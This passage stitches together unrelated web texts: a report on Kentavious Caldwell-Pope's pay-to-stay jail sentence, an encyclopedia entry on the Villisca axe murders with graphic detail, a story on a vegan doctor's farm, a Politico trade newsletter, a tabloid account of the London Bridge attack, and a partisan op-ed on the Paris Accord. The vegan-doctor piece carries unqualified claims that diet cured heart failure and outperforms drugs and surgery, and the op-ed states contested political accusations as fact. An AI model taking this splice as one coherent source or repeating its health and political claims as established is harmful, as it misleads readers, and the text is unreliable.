documents. Caldwell-Pope is not allowed to leave the state, which will result in missed games in Houston and Minneapolis. He is expected to be at the Lakers game against the Warriors in Oakland on Friday. Advertisement Caldwell-Pope is wearing a GPS monitor while he’s away, and when he returns from games and practices, he has to submit to a breath test. Caldwell-Pope is making $18 million this season, and that keeps him out of a typical prison. According to the Times, the “pay-to-stay” detention center where Caldwell-Pope is serving his time brings in more revenue any other jail in Los Angeles or Orange counties, with wealthy DUI offenders making up most of its inmates. Based on an LA Weekly ad from 2013, the Seal Beach facility openly markets its flat screen TVs, computer and media room, and general cleanliness. [L.A. Times] -Villisca axe murders Location of Villisca in the state of Iowa Location Villisca, Iowa, United States Date June 9 or 10, 1912 Late night or early morning Target Moore family and 2 guests Attack type Mass murder, home invasion Weapons Axe Deaths 8 Perpetrator Unknown Motive Unknown The Villisca axe murders occurred between the evening of June 9, 1912, and the early morning of June 10, 1912, in the town of Villisca in southwestern Iowa. The six members of the Moore family and two house guests were found bludgeoned in the Moore residence. All eight victims, including six children, had severe head wounds from an axe. A lengthy investigation yielded several suspects, one of whom was tried twice. The first trial ended in a hung jury and the second ended in an acquittal. The crime remains unsolved. Details [ edit ] The Day Book, Chicago, 14 June 1912, depicting five of the victims and the house. An article in, Chicago, 14 June 1912, depicting five of the victims and the house. The Moore family consisted of parents Josiah B. (aged 43[1]), Sarah (née Montgomery) (39), and their four children: Herman Montgomery (11), Mary Katherine (10), Arthur Boyd (7), and Paul Vernon (5). An affluent family, the Moores were well-known and well-liked in their community.[2] On June 9, 1912, Mary Katherine Moore invited Ina Mae (8) and Lena Gertrude Stillinger (12) to spend the night at the Moore residence. That evening, the visiting girls and the Moore family attended the Presbyterian church where they participated in the Children's Day Program, which Sarah Moore had coordinated. After the program ended at 9:30 p.m., the Moores and the Stillinger sisters walked to the Moores' house, arriving between 9:45 and 10 p.m. At 7 a.m. the next day, Mary Peckham, the Moores' neighbor, became concerned after she noticed that the Moore family had not come out to do their morning chores. Peckham knocked on the Moores' door. When nobody answered, she tried to open the door and discovered that it was locked. Peckham let the Moores' chickens out and called Ross Moore, Josiah Moore's brother. Like Peckham, Moore received no response when he knocked on the door and shouted. He unlocked the front door with his copy of the house key. While Peckham stood on the porch, Moore went into the parlor and opened the guest bedroom door, where he found Ina and Lena Stillinger's bodies on the bed. Moore immediately told Peckham to call Hank Horton, Villisca's primary peace officer, who arrived shortly thereafter. Horton's search of the house revealed that the entire Moore family and the two Stillinger girls had been bludgeoned to death. The murder weapon, an axe belonging to Josiah, was found in the guest room where the Stillinger sisters were found. Doctors concluded that the murders had taken place between midnight and 5 a.m.[3] Two spent cigarettes in the attic suggested that the killer or killers patiently waited in the attic until the Moore family and the Stillinger guests were asleep. The killer(s) began in the master bedroom, where Josiah and Sarah Moore were sleeping. Josiah received more blows from the axe than any other victim; his face had been cut to such an extent that his eyes were missing. They used the blade of the axe on Josiah while using the blunt end on the rest of the victims. They proceeded into the children's rooms and bludgeoned Herman, Katherine, Arthur and Paul in the head in the same manner as their parents. They returned to the master bedroom to inflict more blows on the elder Moores, knocking over a shoe that had filled with blood, before moving downstairs to the guest bedroom and killing Ina and Lena. Investigators believed that all of the victims except for Lena Stillinger had been asleep when murdered. They thought that she was awake and tried to fight back, as she was found lying crosswise on the bed, and with a defensive wound on her arm. Lena's nightgown was pushed up to her waist and she was wearing no undergarments, leading to law enforcement speculation that the killer(s) sexually molested her or attempted to do so. Investigation [ edit ] Over time, many possible suspects emerged, including Reverend George Kelly, Frank F. Jones, William Mansfield, Loving Mitchell and Henry Lee Moore (no relation). George Kelly was tried twice for the murder. The first ended in a hung jury, while the second trial ended in an acquittal. Other suspects in the investigation were also exonerated.[4] Andrew Sawyer [ edit ] Every transient and otherwise unaccounted-for stranger was a suspect in the murders. One such suspect was a man named Andy Sawyer. No real evidence linked Sawyer to the crime, but his name came up often in grand jury testimonies. According to Thomas Dyer of Burlington, Iowa, a bridge foreman and pile driver for the Burlington Railroad, S.A. (Andy) Sawyer approached his crew in Creston at 6:00 a.m on the morning the murders were discovered. Sawyer was clean-shaven and wearing a brown suit when he arrived. His shoes were covered in mud and his pants were wet nearly to the knees. He asked for employment and, as Dyer needed an extra man, he was given a job on the spot. Dyer testified that later that evening when the crew reached Fontanelle, Iowa, Sawyer purchased a newspaper and went off by himself to read it. The newspaper carried a front page account of the Villisca murders and, according to Dyer, Sawyer "was much interested in it." Dyer's crew complained that Sawyer slept with his clothes on and was anxious to be by himself. They were also uneasy that Sawyer slept with his axe next to him; he often talked of the Villisca murders and whether or not a killer had been apprehended. He reportedly told Dyer that he had been in Villisca that Sunday night and had heard of the murders. Afraid of being taken as a suspect, he had left and gone to Creston. Dyer was suspicious and turned him over to the sheriff on June 18, 1912. Dyer later testified that prior to the sheriff's arrival, he walked up behind Sawyer. He was rubbing his head with both hands and suddenly jumped up and said to himself, "I will cut your god damn heads off." At the same time, he made striking motions with the axe and began hitting the piles in front of him. Dyer's son (J.R.) testified that one day as the crew drove through Villisca, Sawyer told him he would show J.R. where the man who killed the Moore family got out of town. He said the man that did the job jumped over a manure box which he pointed out about 1½ blocks away, and then showed where he crossed the railroad track. J.R. said there were footprints in the soggy ground north of the embankment. Sawyer told J.R. to look on the other side of the car and said he would show him an old tree where the murderer stepped into the creek. According to J.R. Dyer, he looked over and saw such a tree south of the track about four blocks away. Sawyer was dismissed as a suspect in the case when officials learned that he could prove he had been in Osceola, Iowa, on the night of the murders. He had been arrested for vagrancy there, and the Osceola sheriff recalled putting him on a train (to send him away) at approximately 11 p.m. that evening. Reverend George Kelly [ edit ] Kelly was an English-born traveling minister in town on the night of the murders. Kelly was described as peculiar, reportedly having suffered a mental breakdown as an adolescent. As an adult, he was accused of peeping and several times asking young women and girls to pose nude for him. On June 8, 1912, he came to Villisca to teach at the Children's Day services, which the Moore family attended on June 9, 1912. He left town between 5:00 a.m. and 5:30 a.m. on June 10, 1912, hours before the bodies were discovered. Reverend Kelly had confessed to the murders in court, but the jury didn't believe his confession. In the weeks that followed, he displayed a fascination with the case, and wrote many letters to the police, investigators, and family of the deceased. This aroused suspicion, and a private investigator wrote back to Reverend Kelly, asking for details that the minister might know about the murders. Kelly replied with great detail, claiming to have heard sounds and possibly witnessed the murders. His known mental illness made authorities question whether he knew the details because of having committed the murders or was imagining his account. In 1914, two years after the murders, Kelly was arrested for sending obscene material through the mail (he was sexually harassing a woman who applied for a job as his secretary). He was sent to St. Elizabeth’s Hospital, the national mental hospital in Washington, D.C. Investigators speculated again that Kelly could be the murderer of the Moore family. In 1917, Kelly was arrested for the Villisca murders. Police obtained a confession from him; however, it followed many hours of interrogation and Kelly later recanted. After two separate trials, he was acquitted. Frank F. Jones [ edit ] Frank Fernando Jones was a Villisca resident and an Iowa State Senator. Josiah Moore had worked for Frank Jones at his implement store for many years before leaving to open his own store. Moore reportedly took business away from Jones, including a very successful John Deere dealership. Moore was rumored to have had a sexual affair with Jones’ daughter-in-law, though no evidence supports this. William Mansfield [ edit ] Another theory was that Senator Jones hired William "Blackie" Mansfield to murder the Moore family. It is believed that Mansfield was a serial killer because he murdered his wife, infant child and parents-in-law with an axe two years after the Villisca crimes. He is believed to have committed the axe murders in Paola, Kansas, four days before the Villisca crimes. He was also suspected in the double homicide of Jennie Peterson and Jennie Miller in Illinois. Each crime site was accessible by train, and all murders were carried out in virtually the same manner. Mansfield was released after a special Grand Jury of Montgomery County refused to indict him, on grounds that his alibi checked out. Nine months before the murders at Villisca, a similar case of axe murder occurred in Colorado Springs, Colorado. Two axe murder cases followed in Ellsworth, Kansas, and Paola, Kansas. The cases were similar enough to raise the possibility of having been committed by the same person. Other murders reported as possibly being linked to these crimes include the numerous unsolved axe murders along the Southern Pacific Railroad from 1911–1912, the unsolved Axeman of New Orleans killings, as well as several other such murders during this time period. The murders in Colorado Springs were closely related in execution to those in the Moore house. Nine months before the Villisca murders, H.C. Wayne, his wife and child and Mrs. A.J. Burnham were found dead in Colorado Springs, murdered by axes. The Colorado Springs Police found it difficult to believe that the same person could perpetrate a similar crime in a city. As in the Villisca murders, bed sheets were used to cover the windows to prevent passersby from looking in. At the Moore house, the murderer hung aprons and skirts to cover the windows. As in the murders in Villisca, the murderer in Colorado Springs wiped the blood off his axe and covered the heads of the victims with bed clothes.[4] Mansfield was also the prime suspect of the Burns Detective Agency of Kansas City and Detective James Newton Wilkerson, who suggested that he was a cocaine-addicted serial killer. According to contemporary news reports, Wilkerson believed Mansfield was responsible for the axe murders of his wife, infant child, father-in law, and mother in law in Blue Island, Illinois on July 5, 1914 (two years after the Villisca murders), the axe murders committed in Paola, Kansas, four days before the Villisca murders, and the murders of Jennie Peterson and Jennie Miller in Aurora, Illinois.[5] According to Wilkerson's investigation, all of the murders were committed in precisely the same manner, indicating that the same man probably committed them. Wilkerson stated that he could prove that Mansfield was present in each of the differing crime scenes on the night of the murders. In each murder, the victims were hacked to death with an axe and the mirrors in the homes were covered. A burning lamp with the chimney off was left at the foot of the bed and a basin in which the murderer washed was found in the kitchen. In each case, the murderer avoided leaving fingerprints by wearing gloves, which Wilkerson believed was strong evidence that the man was Mansfield, who knew his fingerprints were on file at the federal military prison at Leavenworth. Wilkerson managed to convince a grand jury to open an investigation in 1916 and Mansfield was arrested and brought to Montgomery County from Kansas City. Payroll records, however, provided an alibi that placed Mansfield in Illinois at the time of the Villisca murders. He was released for a lack of evidence and later won a lawsuit he brought against Wilkerson and was awarded $2,225. Wilkerson believed that pressure from Jones resulted not only in Mansfield's release but also in the subsequent arrest and trial of Reverend Kelly. However, R.H. Thorpe, a restaurant owner from Shenandoah, Iowa, identified Mansfield as the man he saw the morning after the Villisca murders boarding a train at Clarinda. This man said he had walked from Villisca. If proven to be true, this testimony would disprove Mansfield's alibi. Furthermore, it was reported that a Mrs. Vina Tompkins, of Marshalltown, was on her way to testify that she heard three men in the woods plotting the murder of the Moore family a short time before the killings.[citation needed] Henry Lee Moore (no relation) [ edit ] Henry Lee Moore Henry Lee Moore was a suspected serial killer (who was not related to the slain Moore family) who was convicted of the murder of his mother and grandmother several months after the murders in Villisca, his weapon of choice being an axe. Before and after the murders in Villisca, the very similar axe murders on his mother and grandmother were committed, and all of the cases showed striking similarities, leading to strong suspicion that some, or all of the crimes were committed by an axe-murdering serial killer and, just like "Blackie" Mansfield, the axe-murdering Henry Moore can also be considered a suspect in some of these slayings.[6] Sam Moyer [ edit ] At the inquest, it was reported that Sam Moyer (Josiah's brother-in-law) often threatened to kill Josiah Moore; however, upon further investigation, Moyer's alibi cleared him of the crime.[7] In popular culture [ edit ] The paranormal reality television series Ghost Adventures covered the story of the Villisca axe murders, in the episode "Villisca Axe Murder House".[8] The paranormal reality television series Scariest Places on Earth covered the story of the Vallisca axe murders and hosted a paranormal investigation on the property. The case was profiled on the television series Most Terrifying Places in America. The murders were also described in an Episode 16 of the podcast Lore, by Aaron Mahnke. As well as being referred to on the Lore tv show. The murders and resulting paranormal activity was described in Episode 21 of the podcast “And That’s Why We Drink”. The crime was also detailed in the August 3, 2017 episode of the podcast, Stuff You Should Know.[9] The slayings were the subject of a book, Morning Ran Red, by Stephen Bowman.[10] Tony E. Valenzuela directed a 2016 horror movie, The Axe Murders of Villisca. The film establishes Reverend Kelly as the killer (albeit while possessed).[11] In their 2017 book The Man from the Train, Bill James and Rachel McCarthy James discuss the Villisca murders as part of a much larger series of murders which they believe were all committed by a single serial killer. They conclude the murderer was Paul Mueller, and that the crime was part of a killing spree that lasted over 10 years.[12] See also [ edit ] -Vegan Doctor Launches Farm-Based Practice in NJ Like us on Facebook: The current article you are reading does not reflect the views of the current editors and contributors of the new Ecorazzi A vegan doctor in New Jersey is shaking the medical world up, prescribing a plant based diet instead of pills for treating chronic diseases. Internist Ronald Weiss has been treating patients in Hudson County for 25 years but recently he’s sold his practice and cashed in all his assets to buy a farm in which he grows his patients’ medicine. “Human health is directly related to the health of the environment, the production of food and how it is grown,” said Weiss who has an undergraduate degree in botany at Rutgers College of Arts in Science. “I see this farm as an opportunity for me to take everything I’ve done all my life, all the biology and chemistry of plants I have studied, and link them to the human biological system.” The 348-acre, 18th-century farm in Long Valley has 39 percent of its acreage reserved for agriculture. Two farmers maintain it along with with the 90 families that reap its benefits by paying a membership fee and volunteering picking potatoes and weeds. While Weiss knows that the medical field hasn’t exactly been the most accepting of the idea that a plant based diet can cure chronic diseases, he is convinced that his methods work. To the non-believers, he references 90-year-old Angelina Rotella of West New York, a patient who came to him with congestive heart failure wheeled in by her daughter. “I asked her, ‘Do you want me to call 911 and admit you to Palisades General? Or will you let me feed you sweet potatoes and kale?’ Amazingly enough, with the help of her daughter, she chose this,” Weiss said. “She doesn’t have diabetes anymore and chronic heart failure. She is cooking, sewing and walking around town. I’m not saying it’s easy, but she seized the opportunity and she is transformed.” Her daughter, who diligently cooked the grains, steamed greens, fruit and water diet for her mother, called her transformation “more than a miracle.” The farm also has a German stone barn that will be renovated so Weiss’ assistant, Asha Gala of Califon, can host cooking demonstrations and other programs. For the ones who can’t make it to the farm, though, the doctor will go to them and education on the benefits of a plant based diet is the first step in the process. “I am not saying if you fall down and break your ankle, I can fix it by putting a salve of mugwort on it. You need someone to fix your fracture,” Weiss said. “I am talking about treating and preventing chronic disease — the heart attacks, the strokes, the cardiovascular disease, the cancers … the illnesses that are taking our economy and our nation down.Plant-based whole foods are the most powerful disease-modifying tools available to practitioners — more powerful than any drugs or surgeries.” Via NJ.com Photo Credit: Shutterstock -TPP in the spotlight for Lee visit With help from Adam Behsudi, Matt Korade and Doug Palmer TPP IN THE SPOTLIGHT FOR LEE VISIT: Singaporean Prime Minister Lee Hsien Loong will visit the White House this week, giving President Barack Obama an opportunity to restate his case that the TPP is too important to the country’s leadership role in the Asia-Pacific region to delay, an administrative official said. Story Continued Below One of Obama’s primary goals when Lee arrives for a state dinner Tuesday will be “lifting up the benefits” of TPP, Daniel Kritenbrink, top Asia policy adviser at the National Security Council, told Reuters on Friday. The U.S. Chamber of Commerce and U.S.-ASEAN Business Council said they will host the prime minister at 6:30 p.m. for a “keynote address and a conversation” on Singapore’s top economic and trade priorities as well as TPP’s importance. Lee’s visit comes as the Obama administration continues to urge Congress to consider the geostrategic importance of approving the trade deal with Singapore and 10 other Pacific Rim countries, despite opposition to the pact from both U.S. presidential candidates. GOP leaders in Congress have expressed concerns about provisions in the deal that would exempt the tobacco industry from investor-state dispute settlement procedures and limit intellectual property protections for biologic drugs. IT’S MONDAY, AUG. 1! Welcome to Morning Trade and to August, in which two of your three hosts celebrate birthdays — as does USTR Michael Froman. Want to talk trade news? You know where to find me: mcassella@politico.com or @mmcassella. COMMERCE BUSTS OUT STEEL DATA: The Commerce Department is set to unveil another tool in the fight against the flood of steel goods that has been causing a glut in the world market. The department’s “Global Steel Trade Monitor” report, being released this morning, will begin to document trade flows of the world’s top 20 steel importing and exporting countries. The report will inform a monitoring program that will be up and running by 2017. Reports on the 10 next-largest steel importing and exporting countries will be released in the coming months, Commerce said in a press release. Today’s report will provide a broad set of data on the steel trade, allowing the industry to compare markets and evaluate trends. Read it here. Meanwhile, Commerce Secretary Penny Pritzker will be rolling up her sleeves at a Cleveland steel plant today when she visits an ArcelorMittal production line with Sen. Sherrod Brown. After her tour, Pritzker will participate in a roundtable where she will hear from steel company representatives and workers about the impact of the global steel crisis. FROMAN TO VISIT VIETNAM THIS WEEK: Ahead of the ASEAN trade ministers meeting on Friday, Froman is headed to Vietnam to hold talks with his counterparts in Hanoi, the USTR said. The trip comes as prospects for congressional approval of the TPP look increasingly in doubt. During the mid-week visit, Froman will have a chance to brief Vietnamese officials on the administration’s plans for winning approval of the pact before he leaves office in January and discuss concerns over how Hanoi would implement the pact. Tami Overby, senior vice president for Asia at the U.S. Chamber of Commerce, told Pro Trade’s Doug Palmer last week that she was "hearing rumblings of countries slowing down reform" because of their concern that the U.S. Congress might not pass the TPP this year. After Hanoi, Froman will head to Vientiane, Laos, for the annual ASEAN ministers meeting, which includes other TPP partners, Singapore, Malaysia and Brunei. LANDING ZONE SETTLED IN ENVIRONMENTAL PACT: The 17 WTO members involved in an environmental tariff-elimination agreement settled on applying the cuts to more than 300 products during the 15th round of negotiations last week. The development sends the signal that the deal can be wrapped up before the end of the year, as members are hoping, a Geneva official said. The members also tentatively agreed on dates for a series of meetings on the deal before the end of the year, including one in December, when they hope talks will wrap up. BUSINESS GROUPS HOLD OUT HOPE FOR TPP: Leading TPP supporters in the business, agriculture and manufacturing communities say they remain optimistic about the deal’s chances of approval despite the mounting negativity surrounding it coming from both sides of the political aisle. Supporters are doing all they can to continue to try to win congressional votes for the deal, including during the summer recess. Their efforts range from inviting lawmakers out for factory visits and talking to them while they attend county fairs to placing op-eds in regional newspapers. And they’re confident all this will pay off. “When you see trade, when it’s just a sign being waved on a convention floor ... that’s one thing,” Kevin Madden, a strategist working with the Trade Benefits America Coalition, told yours truly. But when it’s “somebody who has a small- or medium-size enterprise in your local economy, who is directly responsible for the employment of people whose jobs are tied to exporting ... that has an impact on lawmakers,” he said. “And that’s important.” Back-to-back party conventions magnified loud anti-TPP voices that don’t understand all the facts, supporters say. They point to opinion polls showing that a majority of Americans do support free trade and say that in the end lawmakers will vote in the interests of their districts rather than follow the positions of those at the top of the ticket. “This is not any kind of freak-out moment,” said John Michael Gonzalez, a Democratic lobbyist and strategist who works on trade. “We’ve been here before. And I know how this story ends.” Read the full story here. WHITE HOUSE HOPES ON TPP STILL HIGH: Despite all the trade-bashing at the Democratic convention last week, Obama is singing the same tune as the business community and pushing for the deal to be wrapped up this year, a White House spokesman said Friday. At a daily press briefing, deputy White House spokesman Eric Schultz told reporters that the president is “acutely aware” of the political challenges surrounding the trade deal but was nonetheless focused on winning support for it from members of Congress of both parties. Asked if the White House will be pushing for a lame-duck vote despite Hillary Clinton’s disapproval of the deal, Schultz responded: “The President absolutely believes this deal should pass this year.” EU DEMANDS IMPROVEMENTS TO U.S. TISA OFFER: A leaked document obtained by POLITICO shows that the EU has a list of complaints about the United States’ market access offer in the Trade in Services Agreement, throwing into question whether the deal can be concluded by the end of the year, as the U.S. hopes. In the document, dated to June, the EU is accusing the U.S. of not meeting the level of liberalization of past trade deals or even some of its commitments in the WTO’s General Agreement on Trade in Services. On the movement of people, the EU is demanding that the U.S. make commitments at least to the level of the GATS. It also wants the U.S. to remove U.S. citizenship requirements that many states have for the incorporation of insurance companies or membership on their boards of directors. In financial services, the EU wants Washington to drop its reservations about allowing foreign firms to provide housing finance products, and in telecommunications, Brussels wants the U.S. to remove equity caps and make market access commitments on mobile, satellite and other basic telecom services. While Brussels has drawn fire over the limitations of its market access offer in TISA negotiations, the document shows the EU has some complaints of its own. The 23 participants involved in the talks are scheduled to exchange revised offers by October. FINALLY, A TRADE JOKE! Former U.S. Trade Representative Susan Schwab sounded a little glum during a call on Friday to discuss the challenges and opportunities for the United Kingdom arising from its decision to the leave the European Union, and mused briefly on the trade discourse in the U.S. presidential campaign. But she leavened the mood by telling an old story — though if you’re like our Doug Palmer, you might have to look it up to get the joke. “For those of us in ... the field of trade policy, trade negotiations, trade politics, this is not a particularly happy time virtually anywhere in the world,” Schwab said during the call. “Certainly if you’re following U.S. trade politics, this is not the happiest of moments. But I recall an old joke that Ronald Reagan used to tell, [although] the story goes back much farther than that. The punch line is ‘there must be a pony in there somewhere.’ If you don’t know the story, feel free to Google it, but I’m going to try to end on an upbeat note.” INTERNATIONAL OVERNIGHT — Australia has moved negotiating a free trade deal with Indonesia to the top of its to-do list amid uncertainty over whether the U.S. will approve TPP, the Australian Financial Review reports. — Sen. Lindsey Graham says trade agreements would give South Carolina’s auto industry a boost, the Charleston Post and Courier reports. — Hong Kong’s position as a “super-connector” to global trade opens the city up to becoming a fundraising platform for money laundering and terrorist activity, the South China Morning Post reports. — Argentina and Mexico have agreed to deepen commercial ties, setting the groundwork for a bilateral free trade agreement, Reuters reports. THAT'S ALL FOR MORNING TRADE! See you again soon! In the meantime, drop the team a line: abehsudi@politico.com and @ABehsudi; mcassella@politico.com and @mmcassella; dpalmer@politico.com and @tradereporter; mkorade@politico.com and @mjkorade; and jhuffman@politico.com and @JsonHuffman. You can also follow @POLITICOPro and @Morning_Trade. ** A message from The Alliance for American Manufacturing: American manufacturing is booming, outpacing private sector job creation. Factories are looking to hire more than 400,000 workers. The steel industry is adding jobs and making new investments; imports are down and production is up. Congress shouldn’t roll back this progress by weakening trade enforcement. Opening our communities to a flood of imported Chinese steel will undermine our national security and jobs. Learn more here. ** -A HEROIC Londoner fought the three jihadis with his bare hands to allow others to escape. “I took a few steps towards them and said, ‘F*** you, I’m Millwall’” Roy Larner Roy Larner was enjoying a few beers in Borough Market when the three London Bridge terrorists burst into the pub, brandishing huge knives. The twisted jihadis then started chanting “Islam, Islam”, and looked for defenceless revellers to attack. But Roy stood his ground and launched himself at the group, saving the lives of others who managed to escape. FACEBOOK LION HEART: Roy risked his life to save others Police RAIDS sweep across the capital Police RAIDS sweep across the capital looking for terror suspects in connection to the London Bridge terror attack. 1 / 30 AFP/Getty Images Police escort a person with their head covered to a police van He told the Sun: “They had these long knives and started shouting about Allah. Then it was, ‘Islam, Islam, Islam’. “Like an idiot I shouted back at them. I thought, ‘I need to take the p*** out of these b******s’.” “I took a few steps towards them and said, ‘F*** you, I’m Millwall’. So they started attacking me.” GETTY RIP: Mourners gathered near London Bridge Roy revealed the group carried on attacking him and stabbed him eight times. He was rushed to hospital in a critical condition and required surgery due to wounds on his head, fingers and chest. But Roy has now been taken off the critical list and is recovering. UNBROKEN: Business as usual as London goes back to work Londoners staunchly refused to be cowed by the horrific terror attack on London Bridge, as the city declared business as usual and went back to work 1 / 18 Getty Images A woman carries a Union Flag as she walks with other commuters across London Bridge after it was reopened The brave Millwall fans has now been dubbed the “Lion of London Bridge” after his exploits. A petition has also been started for be given a George’s Cross for his bravery. Pal Archie Webber-Brown wrote: “Roy Larner charged at the terrorists on London Bridge in order to try to stop them and help others escape. GETTY TERROR: 48 people were injured in the attack -He wisely pulled out of the Paris Accord -- something always billed as a perfectly voluntary agreement of nations. Had it been more transparently called a "treaty" the “Accord” would never have passed even minimal scrutiny and constitutionally mandated Senate approval. So it combines bad science, bad economics, and bad politics. This week, President Trump showed once again that, unlike his predecessor, he reads the fine print, and is not swayed by the unscientific blather of the internationalists who use fine talk to cover power-grabbing, anti-Americanism, and corruption. Here are some of the provisions, not reported by the mainstream press, which underscore that it was no more than a redistribution scheme designed to hamper U.S. competitiveness papered over by gaseous, meaningless platitudes about saving mankind. It was designed to limit American competitiveness and, at best, could have done virtually nothing to affect the climate while impoverishing us and displacing U.S. workers. [L] isten to the words of former United Nations climate official Ottmar Edenhofer: "One has to free oneself from the illusion that international climate policy is environmental policy. This has almost nothing to do with the environmental policy anymore, with problems such as deforestation or the ozone hole," said Edenhofer, who co-chaired the U.N.'s Intergovernmental Panel on Climate Change working group on Mitigation of Climate Change from 2008 to 2015. So what is the goal of environmental policy? "We redistribute de facto the world's wealth by climate policy," said Edenhofer. For those who want to believe that maybe Edenhofer just misspoke and doesn't really mean that, consider that a little more than five years ago he also said that "the next world climate summit in Cancun is actually an economy summit during which the distribution of the world's resources will be negotiated." Mad as they are, Edenhofer's comments are nevertheless consistent with other alarmists who have spilled the movement's dirty secret. Last year, Christiana Figueres, executive secretary of U.N.'s Framework Convention on Climate Change, made a similar statement. "This is the first time in the history of mankind that we are setting ourselves the task of intentionally, within a defined period of time, to change the economic development model that has been reigning for at least 150 years, since the Industrial Revolution," she said in anticipation of last year's Paris climate summit. If you had any doubt about the redistribution aim, consider this: To date the U.S. has contributed $1 billion to the Accord's "Green Fund" and all the other signatories have contributed exactly nothing to it. Neither President Donald Trump nor his secretary of state is confused about the country he represents nor stupid enough to believe that he represents Paris rather than Pittsburgh. Unlike those two, they read the fine print. If I had a single complaint about Trump’s well-presented statement on withdrawing from the Accord, it would be that he neglected to note that the United States has been able to achieve greater environmental protection and energy efficiency precisely because the benefits of our economic system provide needed capital for such advances in environmental protection. Surplus capital put into research and new technologies does more for the planet than surplus cash in the pockets of Euro autocrats and their friends. By way of example, energy producers and users in the U.S. have also been able to reduce emissions because natural gas is more economical, not because Juncker and his pals ordered it. In curbing global-warming emissions, economics will pick up where President Donald Trump left off. Trump might have just pulled the U.S. out of the Paris climate accord, an international pact to fight global warming. But market forces will continue to squeeze carbon dioxide out of the U.S. power mix as generators replace costly and aging coal-fired units with cheaper, cleaner-burning natural gas ones, according to William Nelson, an analyst at Bloomberg New Energy Finance. And for every megawatt-hour of electricity produced from gas rather than coal, the U.S. is keeping about 0.6 metric ton of emissions out of the air, he said. Once again, like Toto in The Wizard of Oz, Trump has drawn away the curtain that hid from the public the knowledge that the Wizard was simply a goofy old fat guy with his hands on the levers. If Obama really thought the Accord was something Americans wanted, why didn’t he follow the Constitution and get Senate approval? His party held the reins then. Maybe because he thought he was too clever? The Constitution requires the Senate to ratify treaties by a two-thirds supermajority in part to ensure that the United States speaks with a single, consistent voice on the international stage. It was President Obama who offered the world an unwise commitment for which he got nothing in return. It was Obama who refused to submit that commitment for Senate approval because he knew he did not have it. Did he rely on the blinkered Department of State to help him avoid the clear terms of the Constitution? If the agreement was purely voluntary and did not bind us as treaty would have, why the need to publicly withdraw from It? Well, Andy McCarthy explains the trick Obama tried to pull off: ...in 1970, President Richard M. Nixon signed a monstrosity known as the Vienna Convention on the Law of Treaties. Think of it as “the treaty on treaties” -- even though you probably thought we already had an American law of treaties. Under Article 18 of the treaty on treaties, once a nation signs a treaty -- or merely does something that could be interpreted as “express[ing] its consent to be bound by the treaty” -- that nation is “obliged to refrain from acts which would defeat the object and purpose of the treaty.” In other words, the Constitution notwithstanding, once a presidential administration signs or otherwise signals assent to the terms of an international agreement, the United States must consider itself bound – even though the Senate has not approved it, even though it has not been ratified. If a subsequent president wants to get the United States out from under this counter-constitutional strait-jacket, it is not enough merely to refrain from submitting the treaty to the Senate. The later president must take an affirmative action that withdraws the prior president’s assent. That is why Trump cannot not just ignore the Paris agreement; he needs to openly and notoriously pull out of it.[snip] How does that square with the Constitution? Wrong question. The right one, apparently, is: Who needs the Constitution when you have the State Department? That bastion of transnational progressives advises that, despite the lack of ratification under our Constitution, “many” of the treaty on treaties’ provisions are binding as -- what else? -- “customary international law.” President Trump is taking a significant step in removing the United States from the Paris agreement. But the step should not be significant, or politically fraught, at all. President Obama’s eleventh-hour consent to the agreement’s terms should have been nothing more consequential than symbolic pom-pom waving at his fellow climate alarmists. It should have had no legal ramifications. The stock market reached new highs after Trump’s announcement. Scot Adams tweeted: “Trump pulls out of Paris Accord, stocks rise. Why isn't the end of civilization priced into the market?” As “Miss Marple” observes: The most amazing thing about this election is how the curtains have been drawn back and we see people for what they really are. I have never seen anything like it. Most of the political class thrives on deception and role-playing. For some reason, President Trump causes them to blurt out revealing comments and take actions, which reveal who they really are. It's almost like they can't help it. National Review and The Weekly Standard could have simply talked about policy and critiqued some of Trump's platform without anyone thinking a thing about it. Instead, they went all in with mocking and demonizing him and continue to do so today. Why did they do that? What keeps Ben Sasse and Paul Ryan posing as virtuous nebbishes who look down on their own voters? Why does John McCain tour the world like some second rate Bond villain, making snarky comments about the President and hanging out with dubious foreign characters? The democrats are in an even worse position, because they have been revealed not only as elitists but as completely insane. I don't care whether we are talking about Hillary, or Tom Perez, or Debbie Wasserman-Schultz; they come off as completely unhinged. It's the most amazing thing in politics I have ever seen. No one has proven more unhinged by events than Hillary Clinton. So far, despite taking “responsibility” for her loss, Hillary has placed the blame on 35 other people, events, and organizations, including her own DNC. There’s no one else left for her to blame. May I suggest another: aliens from the planet Zorg abducted her would-be voters in Michigan, Wisconsin, and Pennsylvania on election day, then prodded and probed them into voting for Trump. Like the EU leaders, she is too corrupt, incompetent, and unliked to be elected in her native land. And like them, she is cosseted by her retainers from knowing the truth. Kyle Smith shows us how far removed from reality Hillary has become and why: The funniest episode in the protective yet revealing new Hillary Clinton profile arrives when we learn that this sad, unemployed, 69-year-old lady is so desperate to keep her self-image alive that she still employs flunkies and retainers to treat her as though she actually were the president, or the secretary of state, or a president in waiting, or at very least the leader of the opposition. Her longtime loyalists are so happy to bustle around her in the service of maintaining the illusion that, after she takes an hour away from it all to exercise, her communications director, Nick Merrill, breathlessly updates her on everything that’s happened in the political world in the last threescore ticks of the minute hand. Her profiler, Rebecca Traister of New York magazine, obviously a great admirer but one who declines to throw herself overboard from reality for the sake of giving Hillary more company bobbing about in the sea of fancy, writes that Clinton “listens to the barrage of updates, nodding like a person whose job requires her to be up-to-date on what’s happening, even though it does not.” Ouch. Hillary Rodham Clinton isn’t merely in a state of denial. She has become Bruce Willis in The Sixth Sense. Politically speaking, she is dead, but she doesn’t know it. Her staffers are so many Haley Joel Osments -- too kind (and too attached to their salaries) to tell her that her career is over. She doesn’t need briefings. She doesn’t need to do interviews. She doesn’t need to write the book she is writing (after so many indigestible volumes, why bother with one more?). She doesn’t need to stake out a politically nuanced position on James Comey’s firing or scramble to get out in front of the Resistance parade. She lost two exceedingly winnable presidential campaigns in Hindenburgian fashion. There is no demand for her to run again and there is nothing left for her except to receive whatever ceremonial honors and sinecures may come her way. She has been handed her political retirement papers by the American people. She’s done. Also dead or almost dead, given the multitude of “investigations” pending, is her claim that the Russians did it. If you care to know the way in which this was confected and how stupid and counterfactual this is, the very best explanation is here. The meticulously documented timeline makes clear that “the corruption and manipulation of the 2016 election (and the months afterward) were the result of Leftist chicanery and not the fault of the Trump team.” What remains of the Russian fairytale is the apparent widespread illegal use of the intelligence agencies and unmasking of Obama’s political opposition -- this week, even Senator Lindsey Graham indicated that he, too, had been illegally surveilled and unmasked. In the wake of the Democrats big lie, engendered by Hillary Clinton’s Norma Desmond-like refusal to acknowledge reality, the Democrats, Obama officials, and their media friends have done more to undermine America’s regard and 